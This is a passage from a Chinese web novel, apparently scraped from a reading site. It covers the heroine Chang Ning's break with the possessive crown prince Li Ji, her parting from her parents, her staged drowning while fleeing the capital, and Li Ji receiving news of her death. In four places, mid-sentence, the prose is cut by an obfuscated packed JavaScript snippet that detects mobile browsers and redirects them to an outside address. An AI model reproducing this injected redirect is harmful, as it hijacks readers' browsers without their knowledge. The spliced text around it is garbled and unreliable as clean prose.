常宁迷蒙之间，耳畔忽传来由远及近的脚步声。 一只略带凉意的手，隔着丝帕轻按上常宁眼角。 “何事至此？” 未燃烛，雪反射来的星月光辉穿过窗子，又挤入帷幔，已是昏暗。 常宁眼皮黏沉，只堪堪掀起一帘细缝，瞧出一个模糊的黑影，刀削斧凿一般凌厉，流露出几分令人心安的冷淡。 有几个瞬间，常宁还恍惚以为这是多年前他们几人在行宫秉烛长谈的一夜。半大少年不经熬，稍过午夜便昏昏睡去。那时常宁口渴起夜，见到的就是这样的身影。 但当黑影俯身朝常宁探来时，常宁抬手抵住了人胸膛，隔开一段距离，声线软绵沙哑，“远点。” 常宁面色泛着潮红，鼻尖沁出细汗，手上的力道并不大，李稷还是顺着退远了些。他伸手快速在常宁额上一探，眉头紧蹙。 这一探却引燃了常宁的情绪，胡乱推搡，“说了让你离远点。我根本就不想你们爱我，我只想和你们做朋友！” “都骗我……只有我不知道。” “没骗你，”李稷温声问，“都有谁？孤帮你。” 常宁更心塞，“你才不是帮我。” 李稷笑着，便要揽着常宁靠坐起来，冷不丁被常宁挥开，安慰道：“不做别的。你发热了，换身衣裳，等会儿太医过来。” 常宁十分抗拒，“我只见空智大师。” 李稷当是常宁好面子，轻声应下。不多时，空智大师过来，李稷隐在屏风后忙于他务。 空智给常宁把过脉，笑道：“忧虑之际，风寒入体，不急。施主放宽心。” 常宁有些蔫蔫的，“多谢。” “不必言谢，”空智立掌，“贫僧亦有一好消息告知施主。” 常宁脑袋昏昏的，听了这话，配合道：“洗耳恭听。” 空智说：“多亏了施主今日送来的丸药。那药是贫僧师父炼制的，倒是给了贫僧许多启发，再借助前些日子施主送的残缺药方，贫僧有七成把握能保施主性命无虞。” 常宁手里的杯子落在案上，打了几个旋，茶水洒了一片，连风寒的不适都被压下，“大师，此话当真？” 空智微笑颔首：“当真。” 常宁脸颊烧红，神态却满是轻松，“大师，你真是神医。你一句话，我这风寒便好了大半。” 空智笑意愈深，“施主也不遑多让。” 常宁却还是疑惑，“只我不太明白，我从皇觉寺得这药时，慧能师傅说这药是大师你炼制的，缘何大师却说是由尊师炼制？” 空智道了句佛偈，“贫僧承继了师父的法号。法号相传已有六代，故而坊间常有传言，道是贫僧活了二百余年，谬为在世活神仙。实则是误会一桩。待解决了施主的事，贫僧就要往天竺去。施主珍重。” 常宁回礼：“山长水远，大师也切记要保重自身，还盼来日再相会。” 从天而降的欣喜还未消化完，常宁送走空智大师，不过方一转身，便装入坚实的胸膛中。 李稷亦喜不自胜，环着常宁，“往后我二人便能永远在一起了。” 只一句话，常宁满心雀跃都被浇灭殆尽，张了张口：“我——” 悲喜交集，纵是常宁平日里善言，如今也有一刻说不出话来，脑中如蒙了一层浓雾，看不分明。 “莫要太高兴，孤会尽快送你离京，”李稷唇角含笑，伸指抬起常宁下巴，过水棉帕给常宁搽脸降温，待见了人睁着眼一副骇住了的呆愣模样，心绪急转直下。 “你……不愿意？” 常宁觑了眼李稷的神色，即使此刻迟钝，也能看出李稷的意图。 只是……常宁望了望噼啪作响的烛芯。 她和李稷，昔日也曾携手同游、互诉衷肠。 自那时便是无关风月的。 一直这样虚情假意下去，欺骗他，也欺骗自己，常宁受不了。 那就像每日都戴着假面，且夜以继日，无论是在阳光之下还是黑暗之中，真正的常宁永远只能被埋藏在不可见人的心室中。 常宁竭力克服惧意，眸色清亮，直视李稷，“是。我不能骗你。” 一霎那间，李稷脑海中闪过许多念头，最终背身负手，只留下一个孤绝的背影，“孤可以同意，但你也不能同旁人在一起。” 常宁当下就要维护自己，“殿下,这……” 李稷侧首，狭长的凤眸微阖，目含警告：“想清楚再说。” 常宁把话咽了回去，“我要殿下立誓。” “胆子不小，”李稷笑笑，立起一掌，指天道，“孤绝不干涉你，但你也不可同旁人纠缠，违者所求皆破灭。” 常宁道：“要加我的名字。” 李稷顺从，照做后笑问：“现下可好些了？” 常宁点头，捧起茶盏，借喝茶掩盖自己的神色。 李稷捻起一块绵软的绿豆糕，挨到常宁唇畔，“干用茶不好。” 此时的他，除开与常宁距离太近，倒像是真的在试着放下了。 但常宁明白，李稷是怀着怎样一种心情，看她将信将疑地照着他设下的路子走。 李稷立誓并不提及他的名姓。 孤？ 常宁心中嗤笑。 若他做了皇帝，抑或被贬为亲王、庶人，离了太子的身份，誓言还奏效吗？即使奏效，可常宁晓得，李稷此时所求，不过是哄骗过常宁一阵，徐徐图之，时机到时再给常宁一个“惊喜”罢了。 破灭了，大不了就换个法子。 李稷手搭在常宁肩上，瞧常宁唇边似有若隐若现的笑意，便伸指一拨常宁额发，“好了，往后有得是高兴的时候。你如今不宜劳累，到榻上歇着。” 常宁懒散靠在床柱上，任李稷忙前忙后，擎等着秋浓熬了药汤来。 “殿下，你待会儿可要藏好，被人看到了你，我说不清的。” 李稷掖被角的动作一顿。 他已许久不曾体会过常宁如此和风细雨的一面。 “安心便是。” 坐在榻沿，望着常宁清瘦几分的面庞，李稷有心寻些话头，“孤已勒令那刘长赢与你姐姐和离，凡是已处理妥当。” 常宁犹带病容，绽出个笑，“多谢殿下。”不再多言。 李稷只当常宁病中难受，笑道：“你竟也不关心西北的事了？” 常宁掩唇垂首，轻咳几声，“不在其位，不谋其政。我先前总是不适，正是自身难保，如何还有心力想这许多？倒是殿下——” 她桃花眸半转，流着烛火光辉，语带遗憾，“我当时还担忧，我在殿下前头离京了，怕是不能送殿下。也不知殿下此行是否惊险……” 李稷只觉胸腔鼓涨。听常宁对着他的未来忧虑，仿若有电流划过皮肉。 “孤无妨。” “殿下英 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16052719|167231||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 勇。” 常宁心道，可不是无妨嘛。二皇子带西北军南下京城，想也知是绝不可能做到的事。二皇子的目的只是带西北军搅乱山东、山西两处大营的节奏，让两大营的主要精力放在群龙无首的十余万西北军上。 这样一支庞大的乱军，即使不沿途为非作歹、占地称王，单是收编重整都要耗费大功夫，更遑论两大营还要防范身后的羌人。与之相比，帅轻军南下作乱的二皇子反倒不那么急切，反正总有人会拦截。 如此一来，二皇子后顾之忧便大幅降低，可攒劲直刺京城。 然京城外亦有数万兵马守候，城内也留有精兵。李稷又于兵法一道上颇有成算，常宁并不十分担忧。 李稷唇边笑意不止，随口道：“听说你欲为清河寻一医女，可要孤相帮？” 常宁照单全收，笑道：“那殿下要用心。” 李稷颔首，复又忆起一桩事来，“你今日对清河说的话，莫要再对旁人提起。” 常宁一时还没反应过来，“什么话？” 这副呆呆愣愣的澄澈模样，叫李稷心头发软，无奈道：“要皇子去和亲。” 常宁：“可我只是随口一说，我也没想到这话不能说。” 问了就是不知道，常宁才不会认下来。 李稷轻叹一声，低眉望入常宁水一样澄澈的眼眸，忽感到一阵细细密密的涩意。 “会引起许多不必要的麻烦。” 常宁知道该就此打住，顺口再称几句“殿下圣明”一类的话。可不知为何，话到唇边，却总是无法宣之于口，反而忍不住问：“为什么？” 被角滑落，李稷掌心顺着常宁单薄的脊背安抚，最终按下将人搂入怀中的念头，“历来如此。” 常宁眸中霎时含了泪，全然明白了李稷未尽之意。 李稷拿丝帕轻拭常宁眼泪，“莫急。御下都是同样的道理，惟名与器不可假人。万民都处在妥当的位置，务求□□。孤知你疼惜表妹，也爱护旁人，颇有些怜贫惜弱在，不忍见人受蒙骗。但须知，如此行事者，不独你我二人，无需内疚。” 常宁说：“我知的，殿下。” 她只是迷惘。 万民在李稷眼中宛若片片瓦砾，只有各自安放在合适的地方，守着各自的名与分，才有高屋建瓴。 常宁是兆民中的一民，是李稷手中要摆弄的瓦砾一片，不止生来就低于李稷，也低于其他瓦砾。 是生来如此么？ 李稷诧异于常宁的沉默，沉吟道：“有孤在，定不会有和亲之日。清河为公主之尊，不去想这些，就已经能过得十分自在。至于其余女子，终究与你我无关。莫要再想，你只当眼不见心为静。” 乃至李稷也觉费解。若非眼前人为常宁，李稷连这番话都不会说出口。 常宁收拾好情绪，心下便有了成算，“殿下，我以后都不和你吵了。” 她是他口中不相干的其余人，无论为君为臣、为友为亲，他都不可能以同等的目光正视她。 常宁无法忍受亲近之人高高在上地俯瞰她，一如李稷绝不会容忍旁人越过他。 即便月老无数次为他们赐下姻缘线，那鲜红的丝线也只会一次次断裂。 李稷欢欣之余，又觉出一丝不妥来。但不等他凝神思索，一点提灯身影自远而近，影子照在门纸上。 “宁宁，”姜夫人敲了敲门，“你冷吗？肚子饿不饿？” 73. 坚持！ 常宁拨暗了烛火，示意李稷到屏风后去。屏风周围烛火尽灭，一片漆黑。 瑟瑟寒风中，姜夫人提灯而立，柔和的清辉透过竹纸，荡开片片光亮，照亮了对面抓着门框探首的常宁。 常宁脸颊烧红，眼眸不可自抑地亮起来，如同羊角宫灯中的火簇，“娘！我不冷也不饿，你怎么来了？孟姐姐怎样？” 姜夫人握着灯杆，小心地绕过常宁，将常宁温柔搂入怀中，“娘来看看你。你孟姐姐很好，但娘想你。” 彼时天色昏暗，常宁独立于石径之上，草木零落。只消远远一瞥，姜夫人便能看出常宁的落寞，以及姜夫人揽孟娴离开时，常宁深藏眼底的艳羡。 这是姜夫人的孩子。 一个牙牙学语时就会张着双臂黏着娘亲抱，口齿含混不清地重复着爱娘亲的孩子。 她想要的是毫无保留，是独一无二。 常宁本就烧红的脸又浮上红晕，难掩欢欣雀跃，歪在姜夫人颈窝中，笑道：“我也好想你呀，娘亲。” 姜夫人搂了常宁一会儿，“到屋里去，风凉。你方才寻了空智师傅，可是不舒服？” 常宁眸中满是细碎笑意，“是风寒，不碍事。但大师说，有法子解我的毒。娘，我又能陪你和爹一辈子了！” 姜夫人自是欣喜，盘算着如何答谢空智大师，怜爱地摩挲常宁鬓角，“今夜娘守着你。” 常宁眼睫扑闪，想想屋内的李稷，一阵痛心疾首，挤出个笑，“我都多大了，不要娘守着。” 姜夫人目光越过常宁，望向灯火昏暗的屋子。至今，常宁也没带姜夫人踏过门槛，二人依旧在门口闲话。 换了往常，常宁听此暗示，早便张罗着要通姜夫人挤在一张榻上度过漫漫长夜。 福至心灵一般，姜夫人笑着点了点常宁额头，压下酸涩，“你爹也想你。你自幼长在京都，不久后就要离京，不知何时才能回来。这几日就搬到爹娘那边，打点行囊也方便些，我们再聚一聚。” 常宁回身就要进去，被姜夫人拉过袖角。 “宁宁，天冷，系好披风。娘在院门处等你，要快。” 姜夫人身形渐远，穿过月洞门和照壁，再望不见。常宁依依不舍地收回目光，却见李稷不知何时走了出来，如今正在常宁身侧不足三尺处，负手同样望向外面。 “殿下，我要走了。”常宁语带歉意。 李稷展眉笑道：“去罢。” 就这样？常宁准备了一箩筐反驳李稷专制霸道的话，却一个字都没有说出口的机会。 李稷取了雪狐裘披风，雪一般洁净柔软，抖开围着常宁，系了个结实美观的结，悉心整理，“往后，孤必待夫人如……” 他止住了话头。 常宁噗呲一声笑出来，“殿下，可是想到了郑庄公与其母？” 郑伯克段于鄢，郑庄公与其母生嫌隙，曾放言“不及黄泉誓不相见”，幸得臣子献计，凿地至泉破除誓言，使郑庄公与母“和好如初”。 可史家却不会明白落笔，言说这对母子最初的关系有多么不堪。 常宁可不敢让李稷待姜夫人如亲母。 李稷失笑，“你倒不避讳。” 他看向常宁。 常宁眼角眉梢还残留着甜丝丝的笑意，嫌李稷系得太紧，扯着带子松了松，拎着披风道了句“殿下自便”就出门而去。 李稷不无期许地想，总有一天，常宁这样的欣喜和笑意也会是为他而来。 常宁幼时，就住在爹娘院里。五岁过后，便搬出去自己住，只偶尔会回来。 英国公今夜宿在东厢房，姜夫人给常宁解系带，白皙指尖微微一顿。 这样的结扣，这样的位置与形态，只有如姜夫人一般立在常宁对面，才有系出的可能。 掩下心底的悲戚，姜夫人抚过常宁湿润的眉眼，拧了过水棉帕一点点擦拭常宁脸庞。 常宁乖乖地任她施为，星眸透光，最后接过棉帕，胡乱在脸上揉搓，通红着脸仰头，“娘，别擦了，我又不是不洗脸，怪怪的。” 姜夫人剪灭烛火，只在床帏外留了一盏柔和暗淡的小灯，与常宁夜话。 常宁今夜唇角就没压下来过。 不知过了多久，姜夫人问道：“你可有心仪的人物？” “没啊，”被娘亲问起，常宁有些羞涩，但还是不自觉吐露烦恼，“那些人可真烦人，我一辈子都不想同他们聚在一处了。” 姜夫人笑道：“能么？” 常宁略有黯然，“想是不能的。这天下又不是我一人的天下。” 姜夫人说：“事在人为。” 常宁烦闷地抱着脑袋，抓乱了长发，“难不成要我弃了爹娘，从此远走天涯？我舍不得。随他们烦去好了。” 姜夫人温声道：“时日一长，总会有矛盾。双拳难敌四手，何况是这许多人？不早做打算，等事情发展到难以挽回的地步，岂不是要伤着你？” 常宁抿唇：“我舍不得娘。” 姜夫人问：“你欲如何？” 常宁看着姜夫人，弯眸笑笑，明湛如月华，“娘，我让咱们家热闹热闹。” 姜夫人失笑，“使不得。你莫要同人家玩闹，尽早做你的事。” “我有什么事要做呢？”常宁咋舌，“我什么都不缺，顶多偶尔苦恼些。只许他们摆弄我，不许我摆弄他们？我不听。” 姜夫人摸摸常宁，不舍又眷恋，“走罢，宁宁，不要留在这里。哪怕到荒野间结庐而居，也好过日日困守京城。” 常宁瘪嘴，忍下眸中泪水，“我舍不得爹娘。我先前知道我没几年活头，我都好恨他，但我不能。现在好不容易能接着和爹娘在一处，我不想走。” 姜夫人温声道：“我和你爹能活足一甲子，就算是高寿。可我们如今也年近不惑，再过二十余载，我二人化作黄图一抔，你怎么办？”她拨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16061080|167231||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开常宁捂着耳朵的手，对上一双泪眸，“知道你余生安宁，我和你爹才能安心。” 这是姜夫人的孩子。姜夫人看着常宁从不足小臂长到七尺有余，看常宁牙牙学院、蹒跚学步。常宁几乎聚集了姜夫人与英国公的所有优点，又比他们更热忱赤诚。她仗剑而不夸耀武力，富贵而常怀怜悯之心，心细如发，乐善好施。 姜夫人与英国公只有常宁一子，既怕督促过严累着常宁，又怕束缚过松使其堕落，最怕的还是常宁多行不义为天所灭，因而带着常宁多行善事，期望积善积德，留有余庆，不求常宁富贵一生，只求常宁安然无恙。 “你走罢，宁宁。” “娘……”常宁泪珠滑落，紧紧回握姜夫人，“我，我会想办法处理掉这些事的，你别赶我走。” 姜夫人抹掉常宁泪水，“到了外面，可不要随便哭了。娘不舍得赶你，时机到了，爹娘会去找你的。” 顷刻之间，常宁便勾勒出一个粗糙的计划，“娘，你听听，我这样成么——” 姜夫人伸指，堵住常宁的话，“不能说给爹娘。” 常宁懵懂点头。 姜夫人绷直的唇角抿出个笑，探探常宁滚烫的额头，“先睡，药煎好了，娘再叫你。” 翌日，常宁未回院中，只是命人收整行囊，自个携书剑带了一车财币布帛到圆通巷寻常瑛。 她袖里还有一封在爹娘书房中挥就的书信。 开门的却是个清秀的圆脸小太监，不过十四五岁的年纪，做事已甚是稳妥，遣人向常瑛说明情况之后，就张罗着卸下常宁车马上的物品。 人多手杂，一卷绫罗在马车边缘摇摇欲坠。 常宁伸手扶了一下，恰逢小太监也出手相帮。收手的瞬间，一片素娟滑入常宁宽袖中。 那小太监笑了笑，“好眼力。姑娘已经出来了，少爷自去忙，这边有奴才们看着。” 常宁摩挲着袖中光滑的娟面，信步往院中去，却见黝黑的老梅树下，周盟主背着刀在扫雪，大掌中捧着个小巧的碧玉碗。 常瑛正侧望天际出神，听到常宁叫声，回过头，宁静的眼眸中浮上笑意。 “姐姐，我们到书房去，不许旁人进。” 周盟主不回头，也能感知到常宁刺来的目光，“你们姐弟谈话，我们一个都不靠近地才好。” 书房里，只有常宁和常瑛二人。 常宁放心不下，急急询问常瑛的状况。 常瑛笑道：“我这边还好。刘长瀛是个天阉，却瞒着我和祖父祖母，成亲后还再三隐瞒。被我撞破后，还总觉得我瞧不起他，到外面寻花问柳。公婆怕我宣扬，好生捧着我、防着我。若非太子殿下，我倒真不容易脱身，更遑论瞒着祖母了。” 常宁哼道：“算他办了件好事。”边抽出素娟飞速掠过。 这一看，心却沉了几分，“姐姐，待会儿我写封信。等我走后，你悄悄托周大哥帮我送出去。” 74. 坚持！ 西北的变乱已经三日有余。 短短三天，放在十几万西北军上，却足以暴露许多问题。 云策和公孙谨不仅借机铲除了许多胆敢藉着动乱自立山头的乱臣贼子，还揪出了不少羌人留下来煽风点火的卧底。 而二皇子叛乱之名也传到了御岸前。 云策叹息，“要整合大军，至少还需两日功夫。” 他父亲就在相离最近的山西大营，收到他的传信后，当即派军驰援边境，好险顶上了空缺。 一想到这儿，云策就咬牙切齿，“我们前脚走，羌人后脚就过来，定是有人通风报信。” 公孙谨抹着弯刀上的血迹，不置一词。 大魏军中历来只有打仗时才有立功晋升的机会，但也只是相对平日里更多。这一乱，许多出身贫寒的兵士脱颖而出。 但公孙谨挂念的，还是远在京城的那人。 但愿他会再见到常宁。 …… 自从搬到爹娘院中后，常宁就很少再见到李稷。 她也几乎不再同李稷争吵，任他怎样说，只要不动手动脚，常宁都敷衍着附和他。 每每见此，李稷都一阵无奈，却又奈何不得。 尤其流光渐逝，李稷公务繁忙，近来又为二皇子叛乱一事困扰，领命平定叛乱，不日就将出发，更是舍不得常宁。 临行前一夜，两人大吵了一架。 彼时常宁正从秦楼楚馆中出来，满身的脂粉味。纵然知晓常宁去的都是清静之地，没那许多藏污纳垢的事，楼内男女也都是清倌，李稷还是止不住生怒。 不只是因这几日积攒下的暗火，还因忆起了昔日常宁的背弃。 李稷真不知，常宁为何就如此易退，不过是些幻想中的会出现在未来的流言蜚语，就要背弃与他多年的情谊，就那么抽身而去？ 他真是恨毒了常宁的散漫薄情。 “你又看上了谁？” 他这般逼问，常宁却觉荒诞，置之不理。 李稷追问：“你究竟知不知道，明天是什么日子？” 常宁背靠马车车壁，温声道：“知道。我不和你吵。” 曾经听到这句话时有多惊喜，李稷如今就有多心凉。 那天，李稷不管不顾地深吻上去，久违地尝到了常宁口中的清甜，伴着鲜血的铁锈味。 分离时，两人都是双眸通红，各有各的暗恨。 对上那双含着失望的桃花眸，李稷绷直的唇角挤出个冷笑，冰凉手指轻拍常宁颊侧，“孤行军归来，若见不着你，甚或你又给了孤什么‘惊喜’，莫要怪孤翻脸无情。” 扬长而去之际，常宁冲李稷的背影喊道：“你简直无耻，连半旬都装不到！” 李稷呵笑，并不回头，“你最好能装上一辈子。” 翌日，风雪漫天，被群臣送出城三里，又行过一座小山丘，李稷远远眺望见远处黑黝黝一片，甲兵绵延不见尽头。 将要转过山丘，一巨石后忽地探出个冻得牙关打颤的熟悉身形来。 “拿下！” “慢，”李稷说，“都退下。” 常宁掀开兜帽，指尖冰一般凉。 离得不远不近，李稷能看到，常宁手心里攥着红艳艳的一团，露出灿灿金纹，朝他伸出手。 “不是不见孤么？”李稷轻一挥手，常宁便趄趔着往后倒去，李稷又忙去捞。 “冻僵了。”常宁嗓音低低的，混在风里，含糊不清。 李稷蹙眉，解下披风裹在常宁背上，“怎么不在城里见孤？伤还没好全，竟又跑出来受冻。” 柔软的雪花落在常宁睫上，在睫梢化作几许湿意。常宁仰脸，“你家里人恐怕不大愿意见我。” 李稷微窒，拂去常宁衣上的雪沫，“等孤回来就好。” 常宁唇色发紫，抿出个笑，将手心里的平安符露给李稷，“殿下，这是七月从皇觉寺回来时，我请在家中祠堂供奉的。我家中虽比不得皇觉寺佛光鼎盛，但列祖列宗也不乏风云人物。我每天都会求他们保佑殿下，有时我不在家，就交代小厮去办。” “可惜先前同殿下闹得太厉害，我便停了。” 李稷眸光转柔，看着似愧疚而微微垂首的常宁。 英国公府着实宠爱常宁，连祠堂都能任常宁施为。 接过平安符，李稷指腹摩挲上面的纹路， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16064626|167231||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 捏出平安符下精致的荷包，“这便够了。荷包从哪里来？” 这枚平安符，精心准备近半年，日日笼罩在香烟之下，受亡魂庇佑祝福，也承载着常宁一个个长夜里的喃喃低语。 李稷从没收过这样的，由他所爱之人灌注了纯粹爱意来准备的礼物。 常宁说：“府中绣娘绣的。” 李稷从常宁腰间拽下一只荷包，碧玉一般的色泽，绣着祥云纹和通草花，触之柔软，必是主人常带的，“孤用这只。” 他预备动身，甲袍一角却被常宁扯住，睫毛扑闪着，仰面发问，“殿下，你，你还生我的气吗？” 李稷下巴微点手中的平安符，摩挲着荷包系带，“看你的诚意。安心等孤回来，好生养病，莫要再如今日这般胡来。” 常宁并不回他，从李稷手中接过，倒出荷包里的珠玉碎银，将平安符妥帖放入其中，亲手给李稷系上，泪眸中尽是不舍，“殿下，您可一定要平安回来！常宁等您！” 于这一刻，李稷的身形面孔同英国公夫妇重合。 常宁不明白，李稷做的事为什么要她来承担后果？她分明已经推拒过数次，是李稷执迷不悟，但陛下却认为是常宁挡了李稷的路，爹娘也要常宁远走。 那她失去的一切，她远离爹娘和其余亲友而不得不隐姓埋名、东躲西藏的岁月，又是为了什么呢？常宁连为了与爹娘分别而伤感，都只能借由送别李稷悄悄发泄。 昨日分明是李稷无礼在先，常宁却要冒着风雪守在外面，绞尽脑汁平息他的怒火，好让他不要迁怒爹娘。 常宁吐露真情，李稷不愿。及至常宁寻来，讨好他、求着他，他却又眉舒目展。 他究竟想要什么呢？ 李稷低眸，瞧见常宁纤细白皙的脖颈，雪花落在肌肤上，融成晶莹的水珠，遂替常宁重新拢上兜帽。 他们还有很长时间。 临别的时刻，即使闹得很僵，常宁还是追来，担忧他，祈祷他平安归来。 常宁心底应当是有他的，只是气盛了些。 “殿下，往后再见。” “嗯。”李稷拨马调头，略一扬马鞭，示意常宁早些入城。 75. 坚持！ 腊月底，祭过祖宗，拜别过几位亲密的世交，常宁一行人悄无声息地出城了。 如今出城入城都要戒严，但因英国公在二皇子作乱前就递上了帖子，陛下也批过，也就成了少数能出城的人。 临行前，常宁道是有旧友来访，要英国公夫妇先行一步，她送别故友之后再登船南行。 英国公夫妇便拨下一艘轻快小艇给常宁，约好在下一处渡口相见，早常宁半日出发。 但就是这半日，竟就叫一位青春少年永远地留在了冰冷的江心。 谁也没有想到，短短数日，就有一小股乱军绕到了城南，妄图劫持富家子弟换取银两粮草。而滞留迟出的常宁，乘快艇，只带着数位侍卫，撞在了刀锋之上，跌落江心。 腊月已经十分寒冷，江面是厚厚的坚冰。只有与京城相近的数个渡口，因繁华阜盛着人凿冰开道。放在夏秋时人还有救上来的可能，可一旦落进冬日冰冷的江水，在强烈的失温之下被卷入坚冰底部，随江水漂荡，纵是大罗神仙在世，又岂有获救之机？ 这一去，可吓坏了英国公夫妇。英国公府连夜返航，重金雇佣城中百姓，领着家丁家将凿冰打捞三日有余，这才洒泪沿江南下了。 只是南下途中，英国公夫妇还一路破冰，最终临江停留在阜盛的容城，预备来年继续寻人。英国公府本就乐善好施，这次为给落水的公子祈福，撒出去的银子更是如流水一般，连陛下都派了近侍宽慰英国公夫妇的悲痛心情，顺带劝勉二位向前看，莫沉湎于悲痛，空耗家业。 哪儿知英国公夫妇却是病急乱投医，打量着只施粥医人不够诚心，百般哀求天使收下粮米数十船、金银布帛无数，期盼天公垂顾，留痴儿一命。 近日京都酒楼茶舍、市井街头，凡是人群汇集之处，必要闲话一番。有受了恩惠的，自然便为他家公子念上一句祝语。 遥遥送走天使，英国公搂着姜夫人肩膀，英朗的面孔藏着疲惫，目中爬着血丝，叹息道：“夫人，节哀。” 姜夫人眸子红肿，这些天已不知哭过多少回，闻言哽咽道：“不管多久，都要找。” …… 江边，常宁从水里出来，拧了拧衣上的水。 周围是个芦苇荡，如今已结了冰，雪花一层层铺着，无边无际，只有灰扑扑的麻雀扑棱着飞过。再过不远，几处破败的房屋，隐有人烟。 张侍玉抱着剑倚在门口。 这可比送李稷那天冷多了，常宁发丝已然结了冰霜，不消人提醒就往屋子里钻，换了衣物，抱着个不起眼的方盒，坐在炭火旁取暖。 她再出来，虽像是变了个人，却又能叫人一眼认出就是常宁。她的脸颊苍白，透着少许红晕，被雪一样的白狐裘裹着，发丝泛着潮冷的水汽，宛如水中浮上的鲛人。 张侍玉平淡目光瞥过一眼，便迅速移开了，面上平静无波。 常宁说：“你果然知道了。” 张侍玉颔首，守在门边，“去哪儿？” 常宁眸光越过窗子，望向辽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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二皇子的兵力远比探子打探来的更强，且并不是只从西北过来，连京城南方也有小股兵力不断袭来。 幸而李稷谨慎，在京城四周都做出部署，令守京城的崔将军务必留意身后，这才没有铸成大错。 但他这一仗打得并不轻松。庆和帝回光返照，声称夜梦仙京，要将接仙台修建地更为繁华富丽，为此以筹备军粮为名对京中富足之家征收重税，且派龙禁尉严查各家贪污枉法之事，将不少人抄家流放。东市血水淌流，值守的小吏如何努力都洗不净血渍。 京城便如一座囚笼，外是乱军，内里也笼罩在血云之下。亏得太傅与太子宾客诸人留守京城，又有詹事府从中翰旋，这才没让李稷也被一并声讨了去。 二皇子又多的是毒药和诡计，这些天里，人畜粮草被投了毒的事屡见不鲜，甚至有一夜京都重玄门还被从里打开，险些让几队乱兵挤进城。 为着这些事，李稷是夙兴夜寐，几度一夜未眠，既要顶着二皇子，又要回头安抚城内，一月有余才剿灭了二皇子党羽，押解二皇子入京，惩处私开城门的贵妃和贺家以及参与进来的其他官员。 刘总管叹息，守在主帐外，跟着诊治的军医一同往外走，“殿下伤势如何？” 连日征战落下帷幕，军医心中欢喜，兼之太子殿下未伤及根本，便笑道：“好生将养数月，保管和从前一般无二。” “总管？”分明是件好事，为何他瞧这位总管的神色，总觉着有几分恍惚不安。 刘总管压下心事，摆手道：“无妨。大人劳累多时，且去歇息一二。” 再回主帐前，方才定下脚步，里面就传来李稷清冷的嗓音，“进来。” 身披玄衣的青年端坐太师椅上，消瘦使得他本就深邃的脸庞更为立体。松散披着的玄衣下，隐约可见沾染了血迹的纯白里衣。 李稷正摩挲着手中的碧玉色荷包，触手柔软温润，令他心情大好，“愣着作甚？过来送信。” 那是他预备送给常宁的信。他与大军同行，抵达京城必定要晚。但李稷实在抵不住对常宁的思念。 哪怕常宁现时也不在京城。 常宁会在哪里？永州，还是外祖家？抑或在名山大川游山玩水？总归是舒心自在，要玩疯了的。其人机敏警醒，前些日子先前觉出他的暗卫，还托暗卫来信让他莫要再盯着，他便也顺着不让人回报了。稍稍一想，李稷便止不住带出几分笑。 刘总管啪地跪地，“殿下，奴有罪。” 李稷眸光打量他几眼，“何事？” 刘总管办事向来稳重周全，又最是忠心不过。如今大局已定，李稷自知当是最安心之时，却不知为何，被刘总管这一跪，蓦地逼出几分紧促来。 刘总管膝行而至，神色悲痛，抽出袖中那封藏了许久的信，扭头双手奉上，“常少爷遇难。” 李稷敛笑，“你跟孤久了，应当知道，什么玩笑开得，什么开不得。” 刘总管不语，只是沉痛着将头压得更低。 仿佛有一块巨石压着，叫李稷尽快拂衣而去。可心头又有另一道声音，万般无奈恳切，既期待常宁无事，又怕是大祸临头。 最终李稷还是沉默着，伸手接过刘总管握了十余日的信封，一行行看过，眸光也呆滞。 良久，李稷呵笑一声，苍白着脸，幽深眸光死死盯着刘总管，语气里带着几许自己都不曾觉出的茫然，“你也是胡闹，陪着他玩这样的把戏。孤留了许多暗卫予他，皆是个中好手，哪里容得他丧命？便是真有那一日，也不该你来报，是暗卫来报才是。” 这般说着，李稷竟渐渐带出几分笃定来。这么纰漏百出的事，又岂会是真的？ 耳边寂静一片，李稷沉声道：“为何不回话？” 刘总管难掩沉痛，“殿下，您看信就是。” 信上？李稷苦笑。 是了，那呆瓜，遭人围剿堕江前，还扯着暗卫的手，求人家不要将这事告于他听，唯恐他听了担忧。 胸中闷痛，很长一段时间，李稷脑中都是一片空白。 刘总管始终侍立在三尺处，不远不近地坠着，紧握垂在腰侧的长剑。他年轻时是大内高手，近来身子不好，一手剑术却依旧绝佳。 这个节点，刘总管既怕有余孽来行刺，又怕李稷长久压抑，恐要出些问题。 这般一跟，便从主帐跟出了极远，到了一片茫茫雪原，隐在暗处的暗卫，也露出几个，远远地巡视着。 